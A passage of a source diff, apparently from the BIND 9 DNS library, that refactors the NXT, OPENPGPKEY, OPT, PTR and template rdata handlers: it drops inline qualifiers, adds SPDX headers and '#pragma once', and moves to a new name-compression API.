@@ -86,13 +88,12 @@ fromtext_nxt(ARGS_FROMTEXT) {
 	return (mem_tobuffer(target, bm, n));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_nxt(ARGS_TOTEXT) {
 	isc_region_t sr;
-	unsigned int i, j;
+	unsigned int i, j, opts;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
 
 	REQUIRE(rdata->type == dns_rdatatype_nxt);
 	REQUIRE(rdata->length != 0);
@@ -102,8 +103,9 @@ totext_nxt(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &sr);
 	dns_name_fromregion(&name, &sr);
 	isc_region_consume(&sr, name_length(&name));
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	RETERR(dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
 
 	for (i = 0; i < sr.length; i++) {
 		if (sr.base[i] != 0) {
@@ -132,7 +134,7 @@ totext_nxt(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_nxt(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -142,10 +144,10 @@ fromwire_nxt(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
-	RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&name, source, dctx, target));
 
 	isc_buffer_activeregion(source, &sr);
 	if (sr.length > 0 && ((sr.base[0] & 0x80) != 0 || sr.length > 16 ||
@@ -158,7 +160,7 @@ fromwire_nxt(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_nxt(ARGS_TOWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -167,17 +169,17 @@ towire_nxt(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_nxt);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &sr);
 	dns_name_fromregion(&name, &sr);
 	isc_region_consume(&sr, name_length(&name));
-	RETERR(dns_name_towire(&name, cctx, target));
+	RETERR(dns_name_towire(&name, cctx, target, NULL));
 
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_nxt(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -208,7 +210,7 @@ compare_nxt(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_nxt(ARGS_FROMSTRUCT) {
 	dns_rdata_nxt_t *nxt = source;
 	isc_region_t region;
@@ -232,7 +234,7 @@ fromstruct_nxt(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, nxt->typebits, nxt->len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_nxt(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_nxt_t *nxt = target;
@@ -251,25 +253,15 @@ tostruct_nxt(ARGS_TOSTRUCT) {
 	dns_name_fromregion(&name, &region);
 	isc_region_consume(&region, name_length(&name));
 	dns_name_init(&nxt->next, NULL);
-	RETERR(name_duporclone(&name, mctx, &nxt->next));
+	name_duporclone(&name, mctx, &nxt->next);
 
 	nxt->len = region.length;
 	nxt->typebits = mem_maybedup(mctx, region.base, region.length);
-	if (nxt->typebits == NULL) {
-		goto cleanup;
-	}
-
 	nxt->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL) {
-		dns_name_free(&nxt->next, mctx);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_nxt(ARGS_FREESTRUCT) {
 	dns_rdata_nxt_t *nxt = source;
 
@@ -287,18 +279,19 @@ freestruct_nxt(ARGS_FREESTRUCT) {
 	nxt->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_nxt(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_nxt);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_nxt(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -318,7 +311,7 @@ digest_nxt(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_nxt(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_nxt);
 
@@ -330,7 +323,7 @@ checkowner_nxt(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_nxt(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_nxt);
 
@@ -341,7 +334,7 @@ checknames_nxt(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_nxt(ARGS_COMPARE) {
 	return (compare_nxt(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/nxt_30.h b/lib/dns/rdata/generic/nxt_30.h
index 6875313d8c..fb3e8b2e98 100644
--- a/lib/dns/rdata/generic/nxt_30.h
+++ b/lib/dns/rdata/generic/nxt_30.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_NXT_30_H
-#define GENERIC_NXT_30_H 1
+#pragma once
 
 /*!
  *  \brief RFC2535 */
@@ -22,5 +23,3 @@ typedef struct dns_rdata_nxt {
 	unsigned char *typebits;
 	uint16_t len;
 } dns_rdata_nxt_t;
-
-#endif /* GENERIC_NXT_30_H */
diff --git a/lib/dns/rdata/generic/openpgpkey_61.c b/lib/dns/rdata/generic/openpgpkey_61.c
index 7077eac71d..5c8c3c7359 100644
--- a/lib/dns/rdata/generic/openpgpkey_61.c
+++ b/lib/dns/rdata/generic/openpgpkey_61.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_OPENPGPKEY_ATTRIBUTES 0
 
-static inline isc_result_t
+static isc_result_t
 fromtext_openpgpkey(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_openpgpkey);
 
@@ -30,7 +32,7 @@ fromtext_openpgpkey(ARGS_FROMTEXT) {
 	return (isc_base64_tobuffer(lexer, target, -2));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_openpgpkey(ARGS_TOTEXT) {
 	isc_region_t sr;
 
@@ -64,7 +66,7 @@ totext_openpgpkey(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_openpgpkey(ARGS_FROMWIRE) {
 	isc_region_t sr;
 
@@ -73,7 +75,6 @@ fromwire_openpgpkey(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	/*
 	 * Keyring.
@@ -86,7 +87,7 @@ fromwire_openpgpkey(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_openpgpkey(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -99,7 +100,7 @@ towire_openpgpkey(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_openpgpkey(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -115,7 +116,7 @@ compare_openpgpkey(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_openpgpkey(ARGS_FROMSTRUCT) {
 	dns_rdata_openpgpkey_t *sig = source;
 
@@ -134,7 +135,7 @@ fromstruct_openpgpkey(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, sig->keyring, sig->length));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_openpgpkey(ARGS_TOSTRUCT) {
 	isc_region_t sr;
 	dns_rdata_openpgpkey_t *sig = target;
@@ -154,18 +155,11 @@ tostruct_openpgpkey(ARGS_TOSTRUCT) {
 	 */
 	sig->length = sr.length;
 	sig->keyring = mem_maybedup(mctx, sr.base, sig->length);
-	if (sig->keyring == NULL) {
-		goto cleanup;
-	}
-
 	sig->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_openpgpkey(ARGS_FREESTRUCT) {
 	dns_rdata_openpgpkey_t *sig = (dns_rdata_openpgpkey_t *)source;
 
@@ -182,18 +176,19 @@ freestruct_openpgpkey(ARGS_FREESTRUCT) {
 	sig->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_openpgpkey(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_openpgpkey);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_openpgpkey(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -204,7 +199,7 @@ digest_openpgpkey(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_openpgpkey(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_openpgpkey);
 
@@ -216,7 +211,7 @@ checkowner_openpgpkey(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_openpgpkey(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_openpgpkey);
 
@@ -227,7 +222,7 @@ checknames_openpgpkey(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_openpgpkey(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
diff --git a/lib/dns/rdata/generic/openpgpkey_61.h b/lib/dns/rdata/generic/openpgpkey_61.h
index c5caba2cd6..702d343746 100644
--- a/lib/dns/rdata/generic/openpgpkey_61.h
+++ b/lib/dns/rdata/generic/openpgpkey_61.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_OPENPGPKEY_61_H
-#define GENERIC_OPENPGPKEY_61_H 1
+#pragma once
 
 typedef struct dns_rdata_openpgpkey {
 	dns_rdatacommon_t common;
@@ -18,5 +19,3 @@ typedef struct dns_rdata_openpgpkey {
 	uint16_t length;
 	unsigned char *keyring;
 } dns_rdata_openpgpkey_t;
-
-#endif /* GENERIC_OPENPGPKEY_61_H */
diff --git a/lib/dns/rdata/generic/opt_41.c b/lib/dns/rdata/generic/opt_41.c
index 7dbb370386..ce22cd9502 100644
--- a/lib/dns/rdata/generic/opt_41.c
+++ b/lib/dns/rdata/generic/opt_41.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,7 +22,7 @@
 
 #include <isc/utf8.h>
 
-static inline isc_result_t
+static isc_result_t
 fromtext_opt(ARGS_FROMTEXT) {
 	/*
 	 * OPT records do not have a text format.
@@ -39,7 +41,7 @@ fromtext_opt(ARGS_FROMTEXT) {
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_opt(ARGS_TOTEXT) {
 	isc_region_t r;
 	isc_region_t or ;
@@ -89,7 +91,7 @@ totext_opt(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_opt(ARGS_FROMWIRE) {
 	isc_region_t sregion;
 	isc_region_t tregion;
@@ -102,7 +104,6 @@ fromwire_opt(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sregion);
 	if (sregion.length == 0) {
@@ -231,7 +232,7 @@ fromwire_opt(ARGS_FROMWIRE) {
 			isc_region_consume(&sregion, length);
 			break;
 		case DNS_OPT_CLIENT_TAG:
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case DNS_OPT_SERVER_TAG:
 			if (length != 2) {
 				return (DNS_R_OPTERR);
@@ -257,7 +258,7 @@ fromwire_opt(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_opt(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_opt);
 
@@ -266,7 +267,7 @@ towire_opt(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_opt(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -280,7 +281,7 @@ compare_opt(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_opt(ARGS_FROMSTRUCT) {
 	dns_rdata_opt_t *opt = source;
 	isc_region_t region;
@@ -313,7 +314,7 @@ fromstruct_opt(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, opt->options, opt->length));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_opt(ARGS_TOSTRUCT) {
 	dns_rdata_opt_t *opt = target;
 	isc_region_t r;
@@ -328,16 +329,12 @@ tostruct_opt(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &r);
 	opt->length = r.length;
 	opt->options = mem_maybedup(mctx, r.base, r.length);
-	if (opt->options == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	opt->offset = 0;
 	opt->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_opt(ARGS_FREESTRUCT) {
 	dns_rdata_opt_t *opt = source;
 
@@ -354,18 +351,19 @@ freestruct_opt(ARGS_FREESTRUCT) {
 	opt->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_opt(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_opt);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_opt(ARGS_DIGEST) {
 	/*
 	 * OPT records are not digested.
@@ -380,7 +378,7 @@ digest_opt(ARGS_DIGEST) {
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline bool
+static bool
 checkowner_opt(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_opt);
 
@@ -391,7 +389,7 @@ checkowner_opt(ARGS_CHECKOWNER) {
 	return (dns_name_equal(name, dns_rootname));
 }
 
-static inline bool
+static bool
 checknames_opt(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_opt);
 
@@ -402,7 +400,7 @@ checknames_opt(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_opt(ARGS_COMPARE) {
 	return (compare_opt(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/opt_41.h b/lib/dns/rdata/generic/opt_41.h
index 57ddfc0765..2198fde772 100644
--- a/lib/dns/rdata/generic/opt_41.h
+++ b/lib/dns/rdata/generic/opt_41.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_OPT_41_H
-#define GENERIC_OPT_41_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC2671 */
@@ -43,5 +44,3 @@ dns_rdata_opt_next(dns_rdata_opt_t *);
 
 isc_result_t
 dns_rdata_opt_current(dns_rdata_opt_t *, dns_rdata_opt_opcode_t *);
-
-#endif /* GENERIC_OPT_41_H */
diff --git a/lib/dns/rdata/generic/proforma.c b/lib/dns/rdata/generic/proforma.c
index 7913d66162..fa7982fb7a 100644
--- a/lib/dns/rdata/generic/proforma.c
+++ b/lib/dns/rdata/generic/proforma.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_ #_ATTRIBUTES(0)
 
-static inline isc_result_t fromtext_ #(ARGS_FROMTEXT) {
+static isc_result_t fromtext_ #(ARGS_FROMTEXT) {
 	isc_token_t token;
 
 	REQUIRE(type == dns_rdatatype_proforma.c #);
@@ -26,7 +28,7 @@ static inline isc_result_t fromtext_ #(ARGS_FROMTEXT) {
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline isc_result_t totext_ #(ARGS_TOTEXT) {
+static isc_result_t totext_ #(ARGS_TOTEXT) {
 	REQUIRE(rdata->type == dns_rdatatype_proforma.c #);
 	REQUIRE(rdata->rdclass == #);
 	REQUIRE(rdata->length != 0); /* XXX */
@@ -34,28 +36,28 @@ static inline isc_result_t totext_ #(ARGS_TOTEXT) {
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline isc_result_t fromwire_ #(ARGS_FROMWIRE) {
+static isc_result_t fromwire_ #(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_proforma.c #);
 	REQUIRE(rdclass == #);
 
-	/* NONE or GLOBAL14 */
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	/* see RFC 3597 */
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline isc_result_t towire_ #(ARGS_TOWIRE) {
+static isc_result_t towire_ #(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_proforma.c #);
 	REQUIRE(rdata->rdclass == #);
 	REQUIRE(rdata->length != 0); /* XXX */
 
-	/* NONE or GLOBAL14 */
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	/* see RFC 3597 */
+	dns_compress_setpermitted(cctx, false);
 
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline int compare_ #(ARGS_COMPARE) {
+static int compare_ #(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
 
@@ -71,7 +73,7 @@ static inline int compare_ #(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t fromstruct_ #(ARGS_FROMSTRUCT) {
+static isc_result_t fromstruct_ #(ARGS_FROMSTRUCT) {
 	dns_rdata_ #_t *# = source;
 
 	REQUIRE(type == dns_rdatatype_proforma.c #);
@@ -83,7 +85,7 @@ static inline isc_result_t fromstruct_ #(ARGS_FROMSTRUCT) {
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline isc_result_t tostruct_ #(ARGS_TOSTRUCT) {
+static isc_result_t tostruct_ #(ARGS_TOSTRUCT) {
 	REQUIRE(rdata->type == dns_rdatatype_proforma.c #);
 	REQUIRE(rdata->rdclass == #);
 	REQUIRE(rdata->length != 0); /* XXX */
@@ -91,7 +93,7 @@ static inline isc_result_t tostruct_ #(ARGS_TOSTRUCT) {
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline void freestruct_ #(ARGS_FREESTRUCT) {
+static void freestruct_ #(ARGS_FREESTRUCT) {
 	dns_rdata_ #_t *# = source;
 
 	REQUIRE(# != NULL);
@@ -99,17 +101,18 @@ static inline void freestruct_ #(ARGS_FREESTRUCT) {
 	REQUIRE(#->common.rdclass == #);
 }
 
-static inline isc_result_t additionaldata_ #(ARGS_ADDLDATA) {
+static isc_result_t additionaldata_ #(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_proforma.c #);
 	REQUIRE(rdata->rdclass == #);
 
-	(void)add;
-	(void)arg;
+	UNUSED(owner);
+	UNUSED(add);
+	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t digest_ #(ARGS_DIGEST) {
+static isc_result_t digest_ #(ARGS_DIGEST) {
 	isc_region_t r;
 
 	REQUIRE(rdata->type == dns_rdatatype_proforma.c #);
@@ -120,7 +123,7 @@ static inline isc_result_t digest_ #(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool checkowner_ #(ARGS_CHECKOWNER) {
+static bool checkowner_ #(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_proforma.c #);
 	REQUIRE(rdclass == #);
 
@@ -132,7 +135,7 @@ static inline bool checkowner_ #(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool checknames_ #(ARGS_CHECKNAMES) {
+static bool checknames_ #(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_proforma.c #);
 	REQUIRE(rdata->rdclass == #);
 
@@ -143,7 +146,7 @@ static inline bool checknames_ #(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int casecompare_ #(ARGS_COMPARE) {
+static int casecompare_ #(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
 
diff --git a/lib/dns/rdata/generic/proforma.h b/lib/dns/rdata/generic/proforma.h
index 080957cbaf..03962d1ef6 100644
--- a/lib/dns/rdata/generic/proforma.h
+++ b/lib/dns/rdata/generic/proforma.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,7 @@
  */
 
 /* */
-#ifndef GENERIC_PROFORMA_H
-#define GENERIC_PROFORMA_H 1
+#pragma once
 
 typedef struct dns_rdata_ #{
 	dns_rdatacommon_t common;
@@ -19,5 +20,3 @@ typedef struct dns_rdata_ #{
 			 /* type & class specific elements */
 }
 dns_rdata_ #_t;
-
-#endif /* GENERIC_PROFORMA_H */
diff --git a/lib/dns/rdata/generic/ptr_12.c b/lib/dns/rdata/generic/ptr_12.c
index 188676a660..1c3d633a74 100644
--- a/lib/dns/rdata/generic/ptr_12.c
+++ b/lib/dns/rdata/generic/ptr_12.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_PTR_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_ptr(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -51,12 +53,12 @@ fromtext_ptr(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_ptr(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_ptr);
 	REQUIRE(rdata->length != 0);
@@ -67,12 +69,12 @@ totext_ptr(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_ptr(ARGS_FROMWIRE) {
 	dns_name_t name;
 
@@ -81,13 +83,13 @@ fromwire_ptr(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_ptr(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -96,16 +98,16 @@ towire_ptr(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_ptr);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_ptr(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -130,7 +132,7 @@ compare_ptr(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_ptr(ARGS_FROMSTRUCT) {
 	dns_rdata_ptr_t *ptr = source;
 	isc_region_t region;
@@ -147,7 +149,7 @@ fromstruct_ptr(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_ptr(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_ptr_t *ptr = target;
@@ -165,12 +167,12 @@ tostruct_ptr(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&ptr->ptr, NULL);
-	RETERR(name_duporclone(&name, mctx, &ptr->ptr));
+	name_duporclone(&name, mctx, &ptr->ptr);
 	ptr->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_ptr(ARGS_FREESTRUCT) {
 	dns_rdata_ptr_t *ptr = source;
 
@@ -185,18 +187,19 @@ freestruct_ptr(ARGS_FREESTRUCT) {
 	ptr->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_ptr(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_ptr);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_ptr(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -210,7 +213,7 @@ digest_ptr(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_ptr(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_ptr);
 
@@ -237,7 +240,7 @@ static unsigned char in_addr_arpa_offsets[] = { 0, 8, 13 };
 static const dns_name_t in_addr_arpa =
 	DNS_NAME_INITABSOLUTE(in_addr_arpa_data, in_addr_arpa_offsets);
 
-static inline bool
+static bool
 checknames_ptr(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -269,7 +272,7 @@ checknames_ptr(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_ptr(ARGS_COMPARE) {
 	return (compare_ptr(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/ptr_12.h b/lib/dns/rdata/generic/ptr_12.h
index 28c80d3e35..8951eb3775 100644
--- a/lib/dns/rdata/generic/ptr_12.h
+++ b/lib/dns/rdata/generic/ptr_12.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
